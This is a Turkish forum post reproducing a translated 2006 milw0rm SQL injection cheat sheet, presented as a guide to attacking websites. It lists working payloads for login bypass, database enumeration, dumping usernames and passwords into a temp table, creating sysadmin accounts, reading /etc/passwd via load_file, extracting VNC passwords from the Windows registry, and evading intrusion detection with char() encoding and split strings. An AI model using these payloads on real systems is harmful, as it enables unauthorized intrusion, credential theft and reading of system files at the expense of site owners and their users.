Üyelik tarihi: Oct 2006
Nerden: İsTaNBuL
Yaş: 21
Teşekkür & Tepki Teşekkür: 0
Tepki:0
Karizma REP Gücü : 749682
REP Puanı : 14993368
İletişim
Reklam Alanı SQL Enjeksiyonu Dosyası {Yazının orjinali zeroday tarafından yazılmıştır. }
1.Giriş
2.Açıklar İçin Testler
3.Bilgi Toplama
4.Veri Tipleri
5.Şifreleri Toplama
6.Veri Tabanı hesapları oluşturma.
7.MySQL OS iletişimi
8.Sunucu adı ve ayarıları
9.Kayıt Defterinden VNC şifrelerini elde etme
10.IDS İmzasını Çalma
11.mySQL giriş doğrulamasını Char() kullanarak atlatma
12.IDS imzasını yorumları kullanarak elde etme
13.Tırnaksız Sorgular
1. Eğer bir sitenin sadece 80. portu açıksa bu yöneticinin sunucuyu yamaladığı anlamına gelir
.Bu durumda yapılcak en iyi şey web salıdırısıdır.SQL enjeksiyonu genel web saldırılarından birisidir.
Web programlarına (ASP,PHP,JSP,CGI vb..), sunuculara veya OS (işletim sistemi) üzerinde çalışmakta olan
hizmetlere oranla daha fazla saldırılır.
SQL enjeksiyonu web sayfalarında bir sorgu veya komut bir çeşit girişle sağlama yoludur.Bir çok web sitesi
kullanıcı adları şifreler emial adresi gibi bir çok bilgiyi kullanmak için SQL sorgularını kullanmaktadırlar.
2. İlk olarak basit örneklerle başlayalım.
KUllanıcı Adı:’ or 1=1--
Parola:’ or 1=1-- [Üye Olmayanlar Linkleri Göremezler Üye Olmak İçin Tıklayınız... ] or 1=1--
Ayrıca bu yollarda denemeğe değer:
’ having 1=1--,’ group by userid having 1=1--
’ SELECT name FROM syscolums WHERE id = (SELECT id FROM sysobjects WHERE name = ’tablename’)--
’ union select sum(columnname) from tablename--
3. Bilgi toplamak
’ or 1 in (select @@version)--
’ union all select @@version--
bu sorgular sayesinde işletim sistemi hakkında bilgi elde edilebilir.
4. Veri Tipleri
Oracle
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB
MySQL
-->mysql.user
-->mysql.host
-->mysql.db
MS access
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships
MS SQL Server
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases
5. Şİfreleri Toplamak
’; begin declare @var varchar(8000) set @var=’:’ select @var=@var+’+login+’/’+password+’ ’ from users where login > @var select @var as var into temp end --
’ and 1 in (select var from temp)--
’ ; drop table temp --
6.Veritabanı Hesapları oluşturmak
MS SQL
exec sp_addlogin ’name’ , ’password’
exec sp_addsrvrolemember ’name’ , ’sysadmin’
MySQL
INSERT INTO mysql.user (user, host, password) VALUES (’name’, ’localhost’, PASSWORD(’pass123’))
Access
CRATE USER name IDENTIFIED BY ’pass123’
Postgres (requires Unix account)
CRATE USER name WITH PASSWORD ’pass123’
Oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;
7.mySQL OS iletişimi
’ union select 1,load_file(’/etc/passwd’),1,1,1;
8. Sunucu adı ve ayarları
’ and 1 in (select @@servername)--
’ and 1 in (select servername from master.sysservers)--
9.Kayıt Defterinden VNC şifreleri elde etme
’; declare @out binary(8)
exec master..xp_regread
@rootkey = ’HKEY_LOCAL_MACHINE’,
@key = ’SOFTWARE\ORL\WinVNC3\Default’ ,
@value_name=’password’,
@value = @out output
select cast (@out as bigint) as x into TEMP--
’ and 1 in (select cast(x as varchar) from temp)--
10. IDS İmzasını Çalma
’ OR ’unusual’ = ’unusual’
’ OR ’something’ = ’some’+’thing’
’ OR ’text’ = N’text’
’ OR ’something’ like ’some%’
’ OR 2 > 1
’ OR ’text’ > ’t’
’ OR ’whatever’ in (’whatever’)
’ OR 2 BETWEEN 1 and 3
11. mySQL giriş doğrulamasını Char() kullanarak alatma
--> ’ or username like char(37);
--> ’ union select * from users where login = char(114,111,111,116);
-->’ union select 1;(load_file(char(47,101,116,9 9,47,112,97,115,115, 119,100))),1,1,1;
-->’ and 1=( if((load_file(char(110,46,101, 120,116))<>char(39,3 9)),1,0));
12.IDS imazsını yorumları kullanarak almak
-->’OR1=1
-->Username:’ or 1=1--
-->UNION SELECT
-->(Oracle) ’; EXECUTE IMMEDIATE ’SEL’ || ’ECT US’ || ’ER’
-->(MS SQL) ’; EXEC (’SEL’ + ’ECT US’ + ’ER’)
13.Trınaksız Sorgular
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)
Kaynak:Milw0rm.Com
Çeviren: Dr.CheckPoint
Greets: kaneda, modem, wildcard, #black and pulltheplug.
# milw0rm.com [2006-03-28]
__________________
General Douglas MacArthur